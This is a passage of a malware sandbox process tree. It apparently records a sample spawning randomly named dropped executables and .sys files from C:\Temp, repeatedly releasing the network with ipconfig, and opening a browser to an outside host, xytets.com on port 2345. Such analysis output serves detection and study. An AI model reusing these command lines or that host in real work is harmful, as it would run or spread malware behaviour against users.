    C:\temp\CreateProcess.exe C:\Temp\i_idavtnlfdy.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5508
  - - C:\Temp\i_idavtnlfdy.exe
      C:\Temp\i_idavtnlfdy.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1528
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snkicaxsqk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4200
  - - C:\Temp\snkicaxsqk.exe
      C:\Temp\snkicaxsqk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2828
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1836
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3248
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snkicaxsqk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5324
  - - C:\Temp\i_snkicaxsqk.exe
      C:\Temp\i_snkicaxsqk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnhfaxsmkf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1932
  - - C:\Temp\pnhfaxsmkf.exe
      C:\Temp\pnhfaxsmkf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4888
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:120
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4792
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnhfaxsmkf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4480
  - - C:\Temp\i_pnhfaxsmkf.exe
      C:\Temp\i_pnhfaxsmkf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkecxupnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2716
  - - C:\Temp\mkecxupnhf.exe
      C:\Temp\mkecxupnhf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4676
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3084
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkecxupnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2292
  - - C:\Temp\i_mkecxupnhf.exe
      C:\Temp\i_mkecxupnhf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmhecwurm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2840
  - - C:\Temp\rpmhecwurm.exe
      C:\Temp\rpmhecwurm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5664
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4172
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmhecwurm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1904
  - - C:\Temp\i_rpmhecwurm.exe
      C:\Temp\i_rpmhecwurm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1180
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjebwuomg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4792
  - - C:\Temp\omjebwuomg.exe
      C:\Temp\omjebwuomg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:296
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4328
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4788
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjebwuomg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2468
  - - C:\Temp\i_omjebwuomg.exe
      C:\Temp\i_omjebwuomg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5112
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgeywtrljg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1368
  - - C:\Temp\jgeywtrljg.exe
      C:\Temp\jgeywtrljg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4812
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3720
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2712
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgeywtrljg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5504
  - - C:\Temp\i_jgeywtrljg.exe
      C:\Temp\i_jgeywtrljg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5320
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljdbvtnlgd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1264
  - - C:\Temp\ljdbvtnlgd.exe
      C:\Temp\ljdbvtnlgd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5384
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3144
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljdbvtnlgd.exe ups_ins
    3⤵
    PID:2776
  - - C:\Temp\i_ljdbvtnlgd.exe
      C:\Temp\i_ljdbvtnlgd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqnigaysqk.exe ups_run
    3⤵
    PID:1112
  - - C:\Temp\sqnigaysqk.exe
      C:\Temp\sqnigaysqk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6044
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1920
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4308
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqnigaysqk.exe ups_ins
    3⤵
    PID:4180
  - - C:\Temp\i_sqnigaysqk.exe
      C:\Temp\i_sqnigaysqk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkicaxsnk.exe ups_run
    3⤵
    PID:2252
  - - C:\Temp\sqkicaxsnk.exe
      C:\Temp\sqkicaxsnk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2884
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2480
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1140
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkicaxsnk.exe ups_ins
    3⤵
    PID:4460
  - - C:\Temp\i_sqkicaxsnk.exe
      C:\Temp\i_sqkicaxsnk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3920
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spnkicausq.exe ups_run
    3⤵
    PID:2060
  - - C:\Temp\spnkicausq.exe
      C:\Temp\spnkicausq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6060
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1612
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spnkicausq.exe ups_ins
    3⤵
    PID:4484
  - - C:\Temp\i_spnkicausq.exe
      C:\Temp\i_spnkicausq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1320
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxupnhfzxr.exe ups_run
    3⤵
    PID:1868
  - - C:\Temp\zxupnhfzxr.exe
      C:\Temp\zxupnhfzxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3564
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4104
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5636
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxupnhfzxr.exe ups_ins
    3⤵
    PID:5616
  - - C:\Temp\i_zxupnhfzxr.exe
      C:\Temp\i_zxupnhfzxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zurpjheczu.exe ups_run
    3⤵
    PID:3624
  - - C:\Temp\zurpjheczu.exe
      C:\Temp\zurpjheczu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4120
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4108
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zurpjheczu.exe ups_ins
    3⤵
    PID:2560
  - - C:\Temp\i_zurpjheczu.exe
      C:\Temp\i_zurpjheczu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wrpjhbztrm.exe ups_run
    3⤵
    PID:6008
  - - C:\Temp\wrpjhbztrm.exe
      C:\Temp\wrpjhbztrm.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3216
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1428
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2496
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wrpjhbztrm.exe ups_ins
    3⤵
    PID:3096
  - - C:\Temp\i_wrpjhbztrm.exe
      C:\Temp\i_wrpjhbztrm.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywqojgbztr.exe ups_run
    3⤵
    PID:5476
  - - C:\Temp\ywqojgbztr.exe
      C:\Temp\ywqojgbztr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6036
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2404
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3684
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywqojgbztr.exe ups_ins
    3⤵
    PID:4940
  - - C:\Temp\i_ywqojgbztr.exe
      C:\Temp\i_ywqojgbztr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\yvtroigbyt.exe ups_run
    3⤵
    PID:4924
  - - C:\Temp\yvtroigbyt.exe
      C:\Temp\yvtroigbyt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3804
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_yvtroigbyt.exe ups_ins
    3⤵
    PID:5784
  - - C:\Temp\i_yvtroigbyt.exe
      C:\Temp\i_yvtroigbyt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3764
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\yvqoigaysq.exe ups_run
    3⤵
    PID:4868
  - - C:\Temp\yvqoigaysq.exe
      C:\Temp\yvqoigaysq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5104
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3996
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3900
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffc618bc188,0x7ffc618bc194,0x7ffc618bc1a0
      4⤵
      PID:3444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1928,i,14825809375644663406,18321908631312267076,262144 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:2
      4⤵
      PID:4212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2116,i,15078259300455451840,3733103442315653093,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:11
      4⤵
      System Time Discovery
      PID:236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2616,i,15814555779198543385,1665461332080594062,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=3352 /prefetch:13
      4⤵
      PID:4332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3536,i,8771037986249789829,2254579830589884676,2097152 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
      4⤵
      PID:1428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,6072862760509197551,14182335088461232727,2097152 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:1
      4⤵
      PID:2648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,14512097784558931711,1055441771588026754,2097152 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
      4⤵
      PID:4764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4248,i,3691096150105235825,15347727036023121028,2097152 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:9
      4⤵
      PID:4192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,3357645496029116504,18203729171640382584,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
      4⤵
      PID:4356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5292,i,17187360139768198090,10839480070765225741,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
      4⤵
      PID:1660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,4619003736507648172,12357915725648232919,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
      4⤵
      PID:2716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,4619003736507648172,12357915725648232919,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
      4⤵
      PID:1352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6208,i,17217061823060847136,7670415829563462,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:14
      4⤵
      PID:5340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,16314881525559421397,13986880454091544638,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:14
      4⤵
      PID:2276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6596,i,1670915604589395883,11981579754215448155,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:14
      4⤵
      PID:4504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4272,i,8858088535915636812,16241794794638920170,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:14
      4⤵
      PID:5892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4316,i,9261245402330439208,11950345725907892355,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=1248 /prefetch:14
      4⤵
      PID:1368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4248,i,5963470985701702893,17752546983352552654,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
      4⤵
      PID:5148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5588,i,10971192490973417651,1519879187839066145,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=1196 /prefetch:14
      4⤵
      PID:5136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6232,i,14702711493675776189,14141385096010115034,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
      4⤵
      PID:5812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6704,i,13650824060477292110,18325711037704109464,262144 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:10
      4⤵
      PID:1444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6716,i,9731933836100217827,11174188451768980041,524288 --field-trial-handle=2428,i,14702391828538641276,4218499642726443382,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:14
      4⤵
      PID:3376

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2468

C:\Temp\jhbztrmjebwuomge.sys
C:\Temp\jhbztrmjebwuomge.sys
1⤵
- Executes dropped EXE
PID:2460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5620

C:\Temp\wtoljgbztr.sys
C:\Temp\wtoljgbztr.sys
1⤵
- Executes dropped EXE
PID:1172

C:\Temp\vtnljdbvtn.sys
C:\Temp\vtnljdbvtn.sys
1⤵
- Executes dropped EXE
PID:1808

C:\Temp\nifdbvtnlf.sys
C:\Temp\nifdbvtnlf.sys
